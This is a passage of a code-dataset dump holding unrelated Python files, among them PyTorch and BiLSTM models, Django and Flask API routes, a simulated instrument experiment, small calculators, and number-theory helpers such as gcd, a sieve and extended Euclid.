'cat':category, 'type':type})\n sns.boxplot(x='cat', y='val', data=res_df, hue='type')\n\ndef plot_cie(cie_raw, cie_pred):\n from colour.plotting import plot_chromaticity_diagram_CIE1931\n from matplotlib.patches import Polygon\n\n fig, ax = plot_chromaticity_diagram_CIE1931()\n srgb = Polygon(list(zip([0.64, 0.3, 0.15], [0.33, 0.6, 0.06])), facecolor='0.9', alpha=0.1, edgecolor='k')\n ax.add_patch(srgb)\n ax.scatter(cie_raw[:,0], cie_raw[:,1], s=1, c='b')\n ax.scatter(cie_pred[:,0], cie_pred[:,1], s=1, c='k')\n return fig\n\ndef plot_cie_raw_pred(cie_raw, cie_pred):\n fig, ax = plt.subplots(1, 3, figsize=(10, 3))\n titles = ['x', 'y', 'Y']\n for i in range(3):\n raw_pred = np.array(sorted(zip(cie_raw[:, i], cie_pred[:, i])))\n ax[i].scatter(raw_pred[:, 0], raw_pred[:, 1])\n ax[i].plot([raw_pred[:,0].min(), raw_pred[:,0].max()], [raw_pred[:,1].min(), raw_pred[:,1].max()], c='k')\n ax[i].set_title(titles[i] + ' (r2 score = {:.3f})'.format(r2_score(raw_pred[:, 0], raw_pred[:, 1])))\n ax[i].set_xlabel('ground truth')\n ax[i].set_ylabel('predicted')","sub_path":"Model/plotting_utils.py","file_name":"plotting_utils.py","file_ext":"py","file_size_in_byte":2118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"636787421","text":"import os\nimport sys\nsys.path.append(os.path.join(os.path.dirname(__file__), os.path.pardir))\n\nfrom data_process.util import savebest_checkpoint, load_checkpoint,plot_all_epoch,plot_xfit, os_makedirs\n\nimport numpy as np\n\nfrom sklearn.metrics import mean_squared_error\n\nfrom tqdm import trange\nimport torch\nimport torch.nn as nn\nfrom torch.nn.utils.rnn import PackedSequence\nimport torch.optim as optim\n\n\n\nclass MLP(nn.Module):\n def __init__(self, params=None, logger=None):\n super().__init__()\n self.params = params\n self.logger = logger\n\n timesteps, output_dim, hidden_size = params.steps, params.H, params.hidden_size\n\n self.Input_dim = timesteps\n self.Output_dim = output_dim\n self.Hidden_Size = hidden_size\n\n self.num_epochs = self.params.num_epochs\n\n self.hidden = nn.Linear(self.Input_dim,self.Hidden_Size)\n self.fc = nn.Linear(self.Hidden_Size,self.Output_dim)\n\n self.optimizer = torch.optim.Adam(self.parameters(), lr=params.learning_rate)\n self.epoch_scheduler = torch.optim.lr_scheduler.StepLR(\n self.optimizer, params.step_lr, gamma=0.9)\n self.loss_fn = nn.MSELoss()\n\n self.params.plot_dir = os.path.join(params.model_dir, 'figures')\n # create missing directories\n os_makedirs(self.params.plot_dir)\n\n if self.params.device == torch.device('cpu'):\n self.logger.info('Not using cuda...')\n else:\n self.logger.info('Using Cuda...')\n self.to(self.params.device)\n\n\n def forward(self, input):\n input = input[:,:,0]\n h=self.hidden(input)\n h=torch.sigmoid(h)\n pred =self.fc(h)\n return pred\n\n self.Input_dim = input_dim\n self.Output_dim = output_dim\n self.Hidden_Size = hidden_size\n\n self.Num_iters = num_iters\n self.Optim_method = optim_method\n self.Learn_rate = learning_rate\n self.plot_ = plot_\n self.device = device\n\n self.verbose = True\n\n\n def xfit(self, train_loader, val_loader, restore_file=None):\n # update self.params\n if restore_file is not None and os.path.exists(restore_file) and self.params.restore:\n self.logger.info(\n 'Restoring parameters from {}'.format(restore_file))\n load_checkpoint(restore_file, self, self.optimizer)\n\n min_vmse = 9999\n train_len = len(train_loader)\n loss_summary = np.zeros((train_len * self.num_epochs))\n loss_avg = np.zeros((self.num_epochs))\n vloss_avg = np.zeros_like(loss_avg)\n\n epoch = 0\n for epoch in trange(self.num_epochs):\n # self.logger.info(\n # 'Epoch {}/{}'.format(epoch + 1, self.num_epochs))\n mse_train = 0\n loss_epoch = np.zeros(train_len)\n for i, (batch_x, batch_y) in enumerate(train_loader):\n batch_x = batch_x.to(torch.float32).to(self.params.device)\n batch_y = batch_y.to(torch.float32).to(self.params.device)\n self.optimizer.zero_grad()\n y_pred = self(batch_x)\n # y_pred = y_pred.squeeze(1)\n loss = self.loss_fn(y_pred, batch_y)\n loss.backward()\n mse_train += loss.item()\n loss_epoch[i] = loss.item()\n self.optimizer.step()\n \n mse_train = mse_train / train_len\n loss_summary[epoch * train_len:(epoch + 1) * train_len] = loss_epoch\n loss_avg[epoch] = mse_train\n\n self.epoch_scheduler.step()\n \n with torch.no_grad():\n mse_val = 0\n preds = []\n true = []\n for batch_x, batch_y in val_loader:\n batch_x = batch_x.to(torch.float32).to(self.params.device)\n batch_y = batch_y.to(torch.float32).to(self.params.device)\n output = self(batch_x)\n # output = output.squeeze(1)\n preds.append(output.detach().cpu().numpy())\n true.append(batch_y.detach().cpu().numpy())\n mse_val += self.loss_fn(output,\n batch_y).item()\n mse_val = mse_val / len(val_loader)\n vloss_avg[epoch] = mse_val\n\n preds = np.concatenate(preds)\n true = np.concatenate(true)\n\n # self.logger.info('Current training loss: {:.4f} \\t validating loss: {:.4f}'.format(mse_train,mse_val))\n \n vmse = mean_squared_error(true, preds)\n # self.logger.info('Current vmse: {:.4f}'.format(vmse))\n if vmse < min_vmse:\n min_vmse = vmse\n # self.logger.info('Found new best state')\n savebest_checkpoint({\n 'epoch': epoch,\n 'cv': self.params.cv,\n 'state_dict': self.state_dict(),\n 'optim_dict': self.optimizer.state_dict()}, checkpoint=self.params.model_dir)\n # self.logger.info(\n # 'Checkpoint saved to {}'.format(self.params.model_dir)) \n # self.logger.info('Best vmse: {:.4f}'.format(min_vmse))\n\n plot_all_epoch(loss_summary[:(\n epoch + 1) * train_len], self.params.dataset + '_loss_cv{}'.format(self.params.cv), self.params.plot_dir)\n plot_xfit(loss_avg,vloss_avg,self.params.dataset + '_loss_cv{}'.format(self.params.cv), self.params.plot_dir)\n\n def predict(self, x, using_best=True):\n '''\n x: (numpy.narray) shape: [sample, full-len, dim]\n return: (numpy.narray) shape: [sample, prediction-len]\n '''\n # test_batch: shape: [full-len, sample, dim]\n best_pth = os.path.join(self.params.model_dir, 'best.cv{}.pth.tar'.format(self.params.cv))\n if os.path.exists(best_pth) and using_best:\n # self.logger.info('Restoring best parameters from {}'.format(best_pth))\n load_checkpoint(best_pth, self, self.optimizer)\n\n x = torch.tensor(x).to(torch.float32).to(self.params.device)\n output = self(x)\n # output = output.squeeze(1)\n pred = output.detach().cpu().numpy()\n\n return pred","sub_path":"models/MLP.py","file_name":"MLP.py","file_ext":"py","file_size_in_byte":6298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"455821610","text":"#!/usr/bin/env python\n\nfrom setuptools import setup\n\ndef read(fname):\n with open(fname, 'r') as fr:\n return fr.read()\n \nsetup(\n description='Robot word search game',\n packages=['wskit','wskit.bots'],\n long_description=read('README.rst'),\n entry_points={'console_scripts':['wordseek = wskit.wordseek:run']},\n name='wordseek',\n license='MIT',\n author='David Hacker',\n author_email='dmhacker@yahoo.com',\n url='https://github.com/dmhacker/wordseek',\n package_data={'wskit':['*.py']},\n version='1.0.8',\n install_requires=[\n 'colorama',\n ],\n)","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"541216478","text":"# https://www.hackerrank.com/challenges/cipher/problem\n\nn, k = map(int, input().split())\ns = input()\nl = len(s)\ndecoded = [0 for i in range(l)]\n# The first digit is not XOR with anything\ndecoded[0] = int(s[0])\n# Complexity: O(len(s))\nfor i in range(1, l):\n # To guess the digit at i, \n # We know that decoded[i - 2] ^ decoded[i - 1] ^ decoded[i] = s[i]\n # when decoded[i - 2] ^ decoded[i - 1] = s[i - 1]\n # Therefore to generalize, s[i - 1] ^ decoded[i] = s[i]\n # This is equivalent to decoded[i] = s[i - 1] ^ s[i]\n\n decoded[i] = int(s[i - 1]) ^ int(s[i])\n # When i >= k, there is no longer shifting, and if we \n # follow the same formula, there would be a redundant XOR with decoded[i - k]\n # therefore, we do another XOR with decoded[i - k] to balance this out (0)\n if i >= k:\n decoded[i] = decoded[i] ^ decoded[i - k]\n\nres = \"\".join([str(x) for x in decoded[: l - k + 1]])\nprint(res)\n\n\n\n","sub_path":"hackerrank/cipher.py","file_name":"cipher.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"8833329","text":"import numpy as np\nimport torch\nfrom torch import nn\nfrom torch.autograd import Variable\nimport torch.nn.functional as F\nfrom highway import HighwayMLP\nfrom attention import Attention\nfrom attention import BiAFAttention\nfrom tree_lstm import ChildSumTreeLSTM\nfrom utils import create_trees\nfrom syntactic_gcn import SyntacticGCN\nfrom sa_lstm import SyntaxAwareLSTM\nfrom rcnn import RCNN\nfrom bert import BertEmbedder\n\nfrom utils import USE_CUDA\nfrom utils import get_torch_variable_from_np, get_data\n\n\nclass End2EndModel(nn.Module):\n def __init__(self, model_params):\n super(End2EndModel,self).__init__()\n\n self.model_name = model_params['model_name']\n self.dropout = model_params['dropout']\n self.batch_size = model_params['batch_size']\n\n if self.model_name == 'bert-base-multilingual-cased':\n self.word_encoder = BertEmbedder(self.model_name)\n elif self.model_name == 'xlm-mlm-tlm-xnli15-1024':\n self.word_encoder = BertEmbedder(self.model_name)\n else:\n None\n\n # self.word_vocab_size = model_params['word_vocab_size']\n # self.lemma_vocab_size = model_params['lemma_vocab_size']\n # self.pos_vocab_size = model_params['pos_vocab_size']\n self.deprel_vocab_size = model_params['deprel_vocab_size']\n # self.pretrain_vocab_size = model_params['pretrain_vocab_size']\n\n # self.word_emb_size = model_params['word_emb_size']\n # self.lemma_emb_size = model_params['lemma_emb_size']\n # self.pos_emb_size = model_params['pos_emb_size']\n \n self.use_deprel = model_params['use_deprel']\n self.deprel_emb_size = model_params['deprel_emb_size']\n \n # self.pretrain_emb_size = model_params['pretrain_emb_size']\n # self.pretrain_emb_weight = model_params['pretrain_emb_weight']\n\n self.bilstm_num_layers = model_params['bilstm_num_layers']\n self.bilstm_hidden_size = model_params['bilstm_hidden_size']\n\n self.target_vocab_size = model_params['target_vocab_size']\n \n self.use_flag_embedding = model_params['use_flag_embedding']\n self.flag_emb_size = model_params['flag_embedding_size']\n\n self.deprel2idx = model_params['deprel2idx']\n\n if self.use_flag_embedding:\n self.flag_embedding = nn.Embedding(2, self.flag_emb_size)\n self.flag_embedding.weight.data.uniform_(-1.0,1.0)\n\n # self.word_embedding = nn.Embedding(self.word_vocab_size, self.word_emb_size)\n # self.word_embedding.weight.data.uniform_(-1.0,1.0)\n #\n # self.lemma_embedding = nn.Embedding(self.lemma_vocab_size, self.lemma_emb_size)\n # self.lemma_embedding.weight.data.uniform_(-1.0,1.0)\n #\n # self.pos_embedding = nn.Embedding(self.pos_vocab_size, self.pos_emb_size)\n # self.pos_embedding.weight.data.uniform_(-1.0,1.0)\n\n if self.use_deprel:\n self.deprel_embedding = nn.Embedding(self.deprel_vocab_size, self.deprel_emb_size)\n self.deprel_embedding.weight.data.uniform_(-1.0,1.0)\n\n # self.pretrained_embedding = nn.Embedding(self.pretrain_vocab_size,self.pretrain_emb_size)\n # self.pretrained_embedding.weight.data.copy_(torch.from_numpy(self.pretrain_emb_weight))\n\n if self.model_name == 'bert-base-multilingual-cased':\n input_emb_size = 768\n elif self.model_name == 'xlm-mlm-tlm-xnli15-1024':\n input_emb_size = 1024\n else:\n input_emb_size = 512\n\n if self.use_flag_embedding:\n input_emb_size += self.flag_emb_size\n else:\n input_emb_size += 1\n\n if self.use_deprel:\n input_emb_size += self.deprel_emb_size #\n # else:\n # input_emb_size += self.pretrain_emb_size + self.word_emb_size + self.lemma_emb_size + self.pos_emb_size\n\n\n # if USE_CUDA:\n # self.bilstm_hidden_state0 = (Variable(torch.randn(2 * self.bilstm_num_layers, self.batch_size, self.bilstm_hidden_size),requires_grad=True).cuda(),\n # Variable(torch.randn(2 * self.bilstm_num_layers, self.batch_size, self.bilstm_hidden_size),requires_grad=True).cuda())\n # else:\n # self.bilstm_hidden_state0 = (Variable(torch.randn(2 * self.bilstm_num_layers, self.batch_size, self.bilstm_hidden_size),requires_grad=True),\n # Variable(torch.randn(2 * self.bilstm_num_layers, self.batch_size, self.bilstm_hidden_size),requires_grad=True))\n\n\n self.bilstm_layer = nn.LSTM(input_size=input_emb_size,\n hidden_size = self.bilstm_hidden_size, num_layers = self.bilstm_num_layers,\n dropout = self.dropout, bidirectional = True,\n bias = True, batch_first=True)\n\n self.use_highway = model_params['use_highway']\n self.highway_layers = model_params['highway_layers']\n if self.use_highway:\n self.highway_layers = nn.ModuleList([HighwayMLP(self.bilstm_hidden_size*2, activation_function=F.relu)\n for _ in range(self.highway_layers)])\n\n self.output_layer = nn.Linear(self.bilstm_hidden_size*2, self.target_vocab_size)\n else:\n self.output_layer = nn.Linear(self.bilstm_hidden_size*2,self.target_vocab_size)\n\n\n def softmax(self,input, axis=1):\n \"\"\"\n Softmax applied to axis=n\n \n Args:\n input: {Tensor,Variable} input on which softmax is to be applied\n axis : {int} axis on which softmax is to be applied\n \n Returns:\n softmaxed tensors\n \n \"\"\"\n \n input_size = input.size()\n trans_input = input.transpose(axis, len(input_size)-1)\n trans_size = trans_input.size()\n input_2d = trans_input.contiguous().view(-1, trans_size[-1])\n soft_max_2d = F.softmax(input_2d)\n soft_max_nd = soft_max_2d.view(*trans_size)\n return soft_max_nd.transpose(axis, len(input_size)-1)\n \n\n def forward(self, batch_input):\n \n flag_batch = get_torch_variable_from_np(batch_input['flag'])\n word_batch = get_torch_variable_from_np(batch_input['word']).long()\n word_lens_batch = get_torch_variable_from_np(batch_input['word_lens'])\n # lemma_batch = get_torch_variable_from_np(batch_input['lemma'])\n # pos_batch = get_torch_variable_from_np(batch_input['pos'])\n deprel_batch = get_torch_variable_from_np(batch_input['deprel'])\n # pretrain_batch = get_torch_variable_from_np(batch_input['pretrain'])\n # predicate_batch = get_torch_variable_from_np(batch_input['predicate'])\n # predicate_pretrain_batch = get_torch_variable_from_np(batch_input['predicate_pretrain'])\n origin_batch = batch_input['origin']\n origin_deprel_batch = batch_input['deprel']\n\n if self.use_flag_embedding:\n flag_emb = self.flag_embedding(flag_batch)\n else:\n flag_emb = flag_batch.view(flag_batch.shape[0],flag_batch.shape[1], 1).float()\n \n word_emb = self.word_encoder(word_batch, word_lens_batch)\n # lemma_emb = self.lemma_embedding(lemma_batch)\n # pos_emb = self.pos_embedding(pos_batch)\n # pretrain_emb = self.pretrained_embedding(pretrain_batch)\n\n if self.use_deprel:\n deprel_emb = self.deprel_embedding(deprel_batch)\n\n # predicate_emb = self.word_embedding(predicate_batch)\n # predicate_pretrain_emb = self.pretrained_embedding(predicate_pretrain_batch)\n\n if self.use_deprel:\n input_emb = torch.cat([flag_emb, word_emb, deprel_emb], 2) #\n else:\n input_emb = torch.cat([flag_emb, word_emb], 2) #\n\n\n\n ##############################################\n # PLACE EMBEDDERS HERE\n ##############################################\n\n bilstm_output, (_, bilstm_final_state) = self.bilstm_layer(input_emb) #,self.bilstm_hidden_state0)\n\n\n\n bilstm_output = bilstm_output.contiguous()\n\n #print(hidden_input.shape)\n\n hidden_input = bilstm_output.view(bilstm_output.shape[0]*bilstm_output.shape[1],-1)\n\n if self.use_highway:\n for current_layer in self.highway_layers:\n hidden_input = current_layer(hidden_input)\n\n output = self.output_layer(hidden_input)\n else:\n output = self.output_layer(hidden_input)\n return output\n\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":8507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"324376580","text":"from django.shortcuts import render\n\n# Create your views here.\n\nfrom rest_framework import viewsets, mixins\nfrom .serializers import *\nfrom .filters import ServerFilter\n\n\nclass ServerAutoReportViewset(mixins.CreateModelMixin,\n viewsets.GenericViewSet,\n ):\n \"\"\"\n create:\n 创建服务器记录\n \"\"\"\n queryset = Server.objects.all()\n serializer_class = ServerAutoReportSerializer\n\nclass ServerViewset(viewsets.ReadOnlyModelViewSet,\n ):\n \"\"\"\n retrieve:\n 返回指定服务器信息\n list:\n 返回服务器列表\n \"\"\"\n queryset = Server.objects.all()\n serializer_class = ServerSerializer\n # filter_backends = (DjangoFilterBackend,)\n filter_class = ServerFilter\n\n\nclass NetworkDeviceViewset(viewsets.ReadOnlyModelViewSet,\n ):\n \"\"\"\n retrieve:\n 返回指定网卡信息\n list:\n 返回网卡列表\n \"\"\"\n queryset = NetworkDevice.objects.all()\n serializer_class = NetWorkDeivceSerializer\n\n\nclass IPViewset(viewsets.ReadOnlyModelViewSet,\n ):\n \"\"\"\n retrieve:\n 返回指定IP信息\n list:\n 返回IP列表\n \"\"\"\n queryset = IP.objects.all()\n serializer_class = IPSerializer\n","sub_path":"apps/servers/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"66040083","text":"###############################################################################\n# Author: Daniil Budanov\n# Contact: danbudanov@gmail.com\n# Summer Internship - 2016\n###############################################################################\n# Title: main.py\n# Project: Romeo Robot\n# Description:\n# - Instantiates server\n# - creates routes for API\n# - runs server\n# Last Modified: 7.13.2016\n###############################################################################\nfrom robot import *\n\n# instantiate Flask server\napp = Flask(__name__)\napi = Api(app)\n\n# create routes for Flask API\napi.add_resource(Start, '/actions/start')\napi.add_resource(Stop, '/actions/stop')\napi.add_resource(LongTurn, '/actions/longturn')\napi.add_resource(PointTurn, '/actions/pointturn')\napi.add_resource(Wheels, '/actions/wheels/')\napi.add_resource(Forward, '/actions/forward', '/actions/forwards')\napi.add_resource(Path, '/paths/administer/', '/paths/administer')\napi.add_resource(ExecutePath, '/paths/execute/')\n\n# Run flask server\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0', port=5000) # host makes server accessible on network\n","sub_path":"romeo/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"239069259","text":"import time\nexit = 0\ndef bc():\n total= {\n 'cost_V':24.54,\n 'sell_V':29.55,\n 'ss':243\n }\n print('[Current]\\n\\ncost:', total['cost_V'], '\\b$')\n print('sell price:', total['sell_V'], '\\b$')\n print('Stock:', total['ss'])\n print(' \\n\\n')\n time.sleep(1)\n while True:\n while True:\n try:\n stock = int(input('Enter stock to be sold:'))\n total['ss'] = stock\n del stock\n time.sleep(0.4)\n break\n except ValueError:\n time.sleep(0.25)\n print('\\n[Error]:\\nenter a full number\\n')\n time.sleep(0.5)\n continue\n while True:\n try:\n change = str(input('\\nChange cost or sell value?(y/n):'))\n time.sleep(0.3)\n if change == 'y':\n while True:\n try:\n c = float(input('\\nNew cost per stock:'))\n time.sleep(0.2)\n except ValueError:\n print('Enter a valid price (a real number)\\n')\n time.sleep(0.2)\n continue\n break\n while True:\n try:\n d = float(input('New sell price per stock:'))\n time.sleep(0.2)\n except ValueError:\n print('Enter a valid price (a real number)\\n')\n time.sleep(0.2)\n continue\n total['cost_V'] = c\n total['sell_V'] = d\n del change, c, d\n break\n break\n elif change == 'n':\n time.sleep(1)\n del change\n break\n else:\n print('I only understand yes or no (\"y\" or \"n\")')\n continue\n except ValueError:\n print('Please use \"y\" for yes or \"n\" for no')\n time.sleep(0.3)\n continue\n print()\n print('calculating',end='\\r')\n b = (total['sell_V']*total['ss'])-(total['cost_V']*total['ss'])\n time.sleep(0.2)\n print('calculating.',end='\\r')\n c = round(b)\n time.sleep(0.2)\n print('calculating..',end='\\r')\n c = int(c)\n time.sleep(0.2)\n print('calculating...\\n')\n time.sleep(0.5)\n print('[Profit]\\n\\nGains: ', c,'\\b$\\nAccurate Gains:', b,'\\b$\\n\\n\\n\\n\\n')\n inpt = str(input('Again?(y/n)'))\n if inpt == 'y':\n time.sleep(0.05)\n continue\n elif inpt == 'n':\n break\n else:\n print('Use \"y\" for yes and \"n\" for no')\n time.sleep(0.2)\ndef p():\n while True:\n while True:\n try:\n print()\n inpt = float(input('Input Money:'))\n break\n except ValueError:\n print('Invalid Input')\n time.sleep(0.1)\n continue\n print()\n print('[Converted]\\n$%.2f' %(inpt))\n inpt = str(input('Again?(y/n)'))\n if inpt == 'y':\n time.sleep(0.05)\n continue\n elif inpt == 'n':\n break\n else:\n print('Use \"y\" for yes and \"n\" for no')\n time.sleep(0.2)\nwhile True:\n if exit > 0:\n exit = 0\n break\n change = str(input('[Main Menu]\\nBusinesss_Calculation[bc] or Payrolls[p]?:'))\n time.sleep(0.3)\n if change == 'bc':\n time.sleep(0.2)\n print('\\nOpening Business Calculation [Task 1]\\n\\n')\n time.sleep(0.7)\n bc()#Opens business calculation\n while True:\n change = str(input('Exit[e] or Main Menu[mm]?'))\n print()\n if change == 'e':\n print('[Exitting]')\n time.sleep(1)\n exit = 1\n break\n elif change == 'mm':\n time.sleep(0.3)\n break\n else:\n print('Use \"e\" for Exit or \"mm\" for Main Menu')\n print()\n time.sleep(0.2)\n continue\n elif change == 'p':\n time.sleep(0.2)\n print('\\nOpening Payrolls [Task 2]\\n\\n')\n time.sleep(0.7)\n p()#Opens payrolls\n while True:\n change = str(input('Exit[e] or Main Menu[mm]?'))\n print()\n if change == 'e':\n print('[Exitting]')\n time.sleep(1)\n exit = 1\n break\n elif change == 'mm':\n time.sleep(0.3)\n break\n else:\n print('Use \"e\" for Exit or \"mm\" for Main Menu')\n print()\n time.sleep(0.2)\n continue\n else:\n print('Can only receive Business_Calculation and Payrolls (\"bc\" or \"p\")\\n')\n time.sleep(0.6)\n continue","sub_path":"Assignment_7 Efsane Çözüm.py","file_name":"Assignment_7 Efsane Çözüm.py","file_ext":"py","file_size_in_byte":5166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"460085032","text":"# -*- coding: utf-8 -*-\nfrom threading import Thread, activeCount\nfrom time import sleep\nimport logging\nimport queue\n\nimport sim_fungen\nimport sim_voltmeter\nimport sim_instrument\n\n\nclass StudiedObject(object):\n def __init__(self, read_from_actuator):\n self.read = read_from_actuator\n self.memory = queue.Queue()\n self._present_value = 0\n\n def action(self):\n in_value = self.read()\n self.memory.put(in_value)\n if self.memory.empty() or self.memory.qsize()<10:\n self._present_value = 0\n else:\n self._present_value = 0.5*self.memory.get()\n\n def present_value(self):\n return self._present_value\n\n\nclass Namespace():\n def __init__(self, host, port):\n self.host = host\n self.port = port\n\ndef create_actuator_server(actuator):\n logging.info('Creating fungen server')\n args = Namespace('localhost', 5678)\n actuator_server = sim_instrument.main_tcp(actuator, args)\n logging.info('Fungen: interrupt the program with Ctrl-C')\n try:\n actuator_server.serve_forever()\n except KeyboardInterrupt:\n logging.info('Fungen: Ending')\n finally:\n actuator_server.shutdown()\n\ndef create_sensor_server(sensor):\n logging.info('Creating voltmeter server')\n args = Namespace('localhost', 5679)\n sensor_server = sim_instrument.main_tcp(sensor, args)\n logging.info('Voltmeter: interrupt the program with Ctrl-C')\n try:\n sensor_server.serve_forever()\n except KeyboardInterrupt:\n logging.info('Voltmeter: Ending')\n finally:\n sensor_server.shutdown()\n\ndef serve_forever():\n try:\n while activeCount() == 3:\n obj.action()\n sleep(0.1)\n except KeyboardInterrupt:\n logging.info('Experiment: Ending.')\n\nif __name__ == \"__main__\":\n fungen = sim_fungen.SimFunctionGenerator()\n obj = StudiedObject(fungen.generator_output)\n voltmeter = sim_voltmeter.SimVoltmeter(obj.present_value, fungen.generator_output)\n fthread = Thread(target=create_actuator_server, args=(fungen, ))\n vthread = Thread(target=create_sensor_server, args=(voltmeter, ))\n fthread.daemon = True\n vthread.daemon = True\n fthread.start()\n vthread.start()\n\n sleep(1)\n serve_forever()\n","sub_path":"examples/example_simulators/sim_experiment.py","file_name":"sim_experiment.py","file_ext":"py","file_size_in_byte":2269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"528384636","text":"#encoding:utf-8\r\nfrom google.appengine.ext import webapp\r\nfrom google.appengine.api import users\r\nfrom google.appengine.ext import db\r\nfrom google.appengine.ext.webapp.util import run_wsgi_app\r\nfrom google.appengine.ext.webapp import template\r\nfrom basetypes import *\r\nimport os,datetime,logging\r\n \r\nclass Frame(webapp.RequestHandler):\r\n def get(self):\r\n tablist = [\r\n {\r\n 'destination' : '/main?ajax',\r\n 'icon' : 'main',\r\n 'tooltip' : ' 主界面 '\r\n },\r\n {\r\n 'destination' : '/stat?ajax',\r\n 'icon' : 'stat',\r\n 'tooltip' : '统计信息'\r\n },\r\n {\r\n 'destination' : '/show?ajax',\r\n 'icon' : 'show',\r\n 'tooltip' : '查看数据'\r\n },\r\n {\r\n 'destination' : '/add?ajax',\r\n 'icon' : 'add',\r\n 'tooltip' : '添加数据'\r\n },\r\n ]\r\n #----generate parameter list----------------------------------------------------------------------\r\n template_values = {\r\n 'tablist' : tablist\r\n }\r\n path = os.path.join(os.path.dirname(__file__), './/template//frame.html')\r\n #----end------------------------------------------------------------------------------------------\r\n self.response.out.write(template.render(path,template_values))\r\n\r\n\r\ndef main():\r\n application = webapp.WSGIApplication([(r'/.*', Frame)],debug=True)\r\n run_wsgi_app(application)\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","sub_path":"InfoRecorderOnline/Index.py","file_name":"Index.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"590886717","text":"import json\n\nf = open(\"org.json\").read()\nf=f.replace(\"\\n\",\"\")\ndata = json.loads(f)\nparent={}\nlevel={}\nn=len(data)\nfor i in range(1,n):\n\tfor j in data['L'+str(i)]:\n\t\tlevel[j['name']]=i\n\t\tparent[j['name']]=j['parent']\nparent[data['L0'][0]['name']]='-1'\nlevel[data['L0'][0]['name']]=0\n#print(parent)\n#print(level)\n\nroot=data['L0'][0]['name']\na=input()\nb=input()\naa=a\nbb=b\n\nif(root==a or root==b):\n\tprint(\"NO LEADER\")\n\texit()\naa=[]\nbb=[]\naa.insert(0,a)\naa.insert(0,b)\nwhile(parent[a]!=\"-1\"):\n\taa.insert(0,parent[a])\n\t#aa=parent[a]+aa\n\ta=parent[a]\n\nwhile(parent[b]!=\"-1\"):\n\tbb.insert(0,parent[b])\n\t#aa=parent[a]+aa\n\tb=parent[b]\n\nlca=aa[0]\n#print(aa)\n#print(bb)\ni=0\nj=0\nn=len(aa)\nm=len(bb)\nwhile(i>> gcd(1989, 867)\n 51\n \n \"\"\"\n\n # Make sure b is the smaller.\n if a < b:\n a,b = b,a\n\n if b <= 0:\n raise Exception(\"Written for postive numbers\")\n\n # perform the euclid's algorithm\n # http://en.wikipedia.org/wiki/Euclidean_algorithm\n while b != 0:\n a, b = b, a % b\n\n return a\n\n\ndef lcm(a, b):\n \"\"\"Least common multiplier\n\n >>> lcm(1769, 551)\n 33611\n \n \"\"\"\n\n d = gcd(a, b)\n return (a / d) * b\n\n\n\ndef sieve(N):\n \"\"\"Find the primes less than N\n\n Use the sieve of eratosthenes to find prime numbers.\n Could be a lot better, but for reasonable N's, it works\n ok.\n\n >>> sieve(10)\n [2, 3, 5, 7]\n \"\"\"\n\n # Create a list of potential primes. We can drop all the\n # even numbers, because we know that they aren't going to\n # to prime (except 2). We have to account for that later,\n # but it saves half the memory, and half the checking.\n ar = range(1,N,2)\n\n M = len(ar)\n\n # Check each entry in the array in order. If the entry\n # is not marked off, it is prime. When we find a prime,\n # remove its multiples from the rest of the list.\n for d in xrange(1,int(1+(sqrt(N) + 1)/2)):\n if ar[d] == 0:\n continue # not prime\n p = ar[d]\n # got the prime. Now, mark off its multiples.\n # \n # ar[i] = 2 * i - 1\n # if p is odd :\n # d = (p - 1) / 2\n # => d * (1 + p) =\n # = (p - 1) / 2 * (1 + p)\n # = (p^2 - 1) / 2\n # ar[(p^2 - 1) / 2] = p^2\n # so, d * (1+p) is the index of p^2. And, we can step out p\n # at a time because even numbers are skipped.\n for j in xrange(d * (1+p), M, p):\n ar[j] = 0\n\n # 2 was never in the results, so put it back in the front.\n ar[0] = 2\n\n # return the non-zeros\n return [x for x in ar if x]\n\n\ndef prime_factor(N):\n \"\"\"Find a prime factor for each number \n\n Use the sieve of eratosthenes to find the largest\n prime factor of each number up to N-1.\n\n >>> prime_factor(20)\n [0, 0, 1, 1, 2, 1, 3, 1, 2, 3, 5, 1, 3, 1, 7, 5, 2, 1, 3, 1]\n\n \"\"\"\n\n # For simplicity, this does all numbers, not just\n # odd.\n\n\n ar = [1] * N \n ar[0], ar[1] = 0, 0\n \n # Check each entry in the array in order. If the entry\n # is not marked off, it is prime. When we find a prime,\n # remove its multiples from the rest of the list.\n for d in xrange(1,N/2+2):\n if ar[d] == 1:\n # Prime!\n for j in xrange(2*d, N, d):\n ar[j] = d\n return ar\n\ndef factorize(x, factors):\n \"\"\"Find the prime factorization of x\n\n FACTORS is the result of calling prime_factor with N > x.\n This function finds all of the prime factors of x, and their\n powers.\n\n >>> factors = prime_factor(201)\n >>> factorize(200, factors)\n [(5, 2), (2, 3)]\n \n \"\"\"\n result = []\n\n while x > 1:\n p = factors[x]\n if p == 1:\n p = x\n c = 0\n while x % p == 0:\n c += 1\n x /= p\n result.append((p, c))\n return result\n\ndef extended_euclid(m, n):\n \"\"\"Euclid's algorithm, extended to solve a*m + b*n = d\n\n Returns (a, b, d) given m,n. Assumes m,n > 0\n \n Algorithm E, Art of Computer Programming, Chapter 1\n\n >>> extended_euclid(1769, 551)\n (5, -16, 29)\n\n\n \"\"\"\n\n # At top top of each loop, gcd(c,d) == gcd(m, n), and\n # a * m + b * 